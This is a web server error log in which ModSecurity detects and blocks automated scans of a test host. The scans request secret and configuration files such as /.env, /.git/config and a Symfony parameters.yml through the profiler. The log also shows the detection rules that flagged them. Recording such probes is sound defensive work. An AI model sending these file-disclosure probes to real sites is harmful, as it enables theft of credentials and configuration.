[Tue Nov 04 19:36:36.378508 2025] [:error] [pid 4003216] [client 139.59.136.184:45658] [client 139.59.136.184] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQpHtIyLCgtgfSeY5cbDOAAAAAI"]
[Tue Nov 04 19:36:36.574527 2025] [:error] [pid 4012588] [client 139.59.136.184:45666] [client 139.59.136.184] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQpHtP6ifAxn0MmGqWq6CQAAAAU"]
[Tue Nov 04 19:36:36.574786 2025] [:error] [pid 4012588] [client 139.59.136.184:45666] [client 139.59.136.184] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQpHtP6ifAxn0MmGqWq6CQAAAAU"]
[Tue Nov 04 19:36:36.574951 2025] [:error] [pid 4012588] [client 139.59.136.184:45666] [client 139.59.136.184] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQpHtP6ifAxn0MmGqWq6CQAAAAU"]
[Tue Nov 04 21:11:26.237273 2025] [authz_core:error] [pid 4009494] [client 64.226.65.160:34798] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Tue Nov 04 21:11:27.339581 2025] [:error] [pid 4012593] [client 64.226.65.160:34828] [client 64.226.65.160] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aQpd77EfJm1vmv9kKoGzLwAAAAw"]
[Tue Nov 04 21:11:27.339811 2025] [:error] [pid 4012593] [client 64.226.65.160:34828] [client 64.226.65.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aQpd77EfJm1vmv9kKoGzLwAAAAw"]
[Tue Nov 04 21:11:27.339980 2025] [:error] [pid 4012593] [client 64.226.65.160:34828] [client 64.226.65.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aQpd77EfJm1vmv9kKoGzLwAAAAw"]
[Tue Nov 04 21:11:27.531090 2025] [:error] [pid 4012592] [client 64.226.65.160:34842] [client 64.226.65.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQpd7xnY5l8clIuVQOBixwAAAAo"]
[Tue Nov 04 21:11:27.531296 2025] [:error] [pid 4012592] [client 64.226.65.160:34842] [client 64.226.65.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQpd7xnY5l8clIuVQOBixwAAAAo"]
[Tue Nov 04 21:11:27.531450 2025] [:error] [pid 4012592] [client 64.226.65.160:34842] [client 64.226.65.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQpd7xnY5l8clIuVQOBixwAAAAo"]
[Tue Nov 04 21:11:27.946184 2025] [:error] [pid 4012588] [client 64.226.65.160:34850] [client 64.226.65.160] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQpd7_6ifAxn0MmGqWq6aQAAAAU"]
[Tue Nov 04 21:11:27.946426 2025] [:error] [pid 4012588] [client 64.226.65.160:34850] [client 64.226.65.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQpd7_6ifAxn0MmGqWq6aQAAAAU"]
[Tue Nov 04 21:11:27.946587 2025] [:error] [pid 4012588] [client 64.226.65.160:34850] [client 64.226.65.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQpd7_6ifAxn0MmGqWq6aQAAAAU"]
[Wed Nov 05 12:18:11.298417 2025] [:error] [pid 4021993] [client 172.99.188.165:52972] [client 172.99.188.165] ModSecurity: Warning. Matched phrase "parameters.yml" at ARGS:file. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "96"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: parameters.yml found within ARGS:file: app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/app_dev.php/_profiler/open"] [unique_id "aQsycyq5nOUZeTicvU71KwAAAAc"]
[Wed Nov 05 12:18:11.298960 2025] [:error] [pid 4021993] [client 172.99.188.165:52972] [client 172.99.188.165] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/app_dev.php/_profiler/open"] [unique_id "aQsycyq5nOUZeTicvU71KwAAAAc"]
[Wed Nov 05 12:18:11.299131 2025] [:error] [pid 4021993] [client 172.99.188.165:52972] [client 172.99.188.165] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/app_dev.php/_profiler/open"] [unique_id "aQsycyq5nOUZeTicvU71KwAAAAc"]
[Thu Nov 06 18:47:16.765084 2025] [authz_core:error] [pid 4061967] [client 164.90.208.56:35164] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Thu Nov 06 18:47:18.580159 2025] [:error] [pid 4061467] [client 164.90.208.56:35192] [client 164.90.208.56] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aQzfJo6QNm63fq0AH96aDwAAAAk"]
[Thu Nov 06 18:47:18.580415 2025] [:error] [pid 4061467] [client 164.90.208.56:35192] [client 164.90.208.56] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aQzfJo6QNm63fq0AH96aDwAAAAk"]
[Thu Nov 06 18:47:18.580613 2025] [:error] [pid 4061467] [client 164.90.208.56:35192] [client 164.90.208.56] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aQzfJo6QNm63fq0AH96aDwAAAAk"]
[Thu Nov 06 18:47:18.988804 2025] [:error] [pid 4051152] [client 164.90.208.56:35198] [client 164.90.208.56] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQzfJkRvqYFz4xL9hswUHAAAAAw"]
[Thu Nov 06 18:47:18.989011 2025] [:error] [pid 4051152] [client 164.90.208.56:35198] [client 164.90.208.56] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQzfJkRvqYFz4xL9hswUHAAAAAw"]
[Thu Nov 06 18:47:18.989201 2025] [:error] [pid 4051152] [client 164.90.208.56:35198] [client 164.90.208.56] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQzfJkRvqYFz4xL9hswUHAAAAAw"]
[Thu Nov 06 18:47:19.817042 2025] [:error] [pid 4046156] [client 164.90.208.56:35206] [client 164.90.208.56] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQzfJwm7cMO1t0UBGyq3IQAAAAY"]
[Thu Nov 06 18:47:19.818016 2025] [:error] [pid 4046156] [client 164.90.208.56:35206] [client 164.90.208.56] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQzfJwm7cMO1t0UBGyq3IQAAAAY"]
[Thu Nov 06 18:47:19.818175 2025] [:error] [pid 4046156] [client 164.90.208.56:35206] [client 164.90.208.56] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQzfJwm7cMO1t0UBGyq3IQAAAAY"]
[Fri Nov 07 03:51:03.642119 2025] [:error] [pid 4071233] [client 54.81.31.187:34462] [client 54.81.31.187] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQ1el_mkUV8UQ_dfS7EOdQAAAAM"]
[Fri Nov 07 03:51:03.642475 2025] [:error] [pid 4071233] [client 54.81.31.187:34462] [client 54.81.31.187] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQ1el_mkUV8UQ_dfS7EOdQAAAAM"]
[Fri Nov 07 03:51:03.642668 2025] [:error] [pid 4071233] [client 54.81.31.187:34462] [client 54.81.31.187] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQ1el_mkUV8UQ_dfS7EOdQAAAAM"]
[Fri Nov 07 14:06:00.039566 2025] [:error] [pid 4080690] [client 204.76.203.25:54126] [client 204.76.203.25] ModSecurity: Warning. Matched phrase "/.gitignore" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.gitignore found within REQUEST_FILENAME: /.gitignore"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitignore"] [unique_id "aQ3uuBECM6Y7hMjkaOM61wAAAAw"]
[Fri Nov 07 14:06:00.039885 2025] [:error] [pid 4080690] [client 204.76.203.25:54126] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitignore"] [unique_id "aQ3uuBECM6Y7hMjkaOM61wAAAAw"]
[Fri Nov 07 14:06:00.040073 2025] [:error] [pid 4080690] [client 204.76.203.25:54126] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitignore"] [unique_id "aQ3uuBECM6Y7hMjkaOM61wAAAAw"]
[Fri Nov 07 18:22:42.207639 2025] [:error] [pid 4080690] [client 164.90.141.98:55280] [client 164.90.141.98] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQ4q4hECM6Y7hMjkaOM67QAAAAw"]
[Fri Nov 07 18:22:42.207908 2025] [:error] [pid 4080690] [client 164.90.141.98:55280] [client 164.90.141.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQ4q4hECM6Y7hMjkaOM67QAAAAw"]
[Fri Nov 07 18:22:42.208058 2025] [:error] [pid 4080690] [client 164.90.141.98:55280] [client 164.90.141.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQ4q4hECM6Y7hMjkaOM67QAAAAw"]
[Fri Nov 07 22:18:28.552288 2025] [authz_core:error] [pid 4080692] [client 40.122.52.254:38872] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/nikic/php-parser/parser.php
[Sat Nov 08 09:36:18.146258 2025] [authz_core:error] [pid 4102568] [client 159.89.127.165:42966] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Sat Nov 08 09:36:19.307721 2025] [:error] [pid 4102470] [client 159.89.127.165:42988] [client 159.89.127.165] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aQ8BA9YFt2LkQETpgt37tAAAAAI"]
[Sat Nov 08 09:36:19.307933 2025] [:error] [pid 4102470] [client 159.89.127.165:42988] [client 159.89.127.165] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aQ8BA9YFt2LkQETpgt37tAAAAAI"]
[Sat Nov 08 09:36:19.308091 2025] [:error] [pid 4102470] [client 159.89.127.165:42988] [client 159.89.127.165] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aQ8BA9YFt2LkQETpgt37tAAAAAI"]
[Sat Nov 08 09:36:19.652648 2025] [:error] [pid 4095502] [client 159.89.127.165:42992] [client 159.89.127.165] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQ8BA8RxrFwHjWM9bshfTQAAAAg"]
[Sat Nov 08 09:36:19.652857 2025] [:error] [pid 4095502] [client 159.89.127.165:42992] [client 159.89.127.165] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQ8BA8RxrFwHjWM9bshfTQAAAAg"]
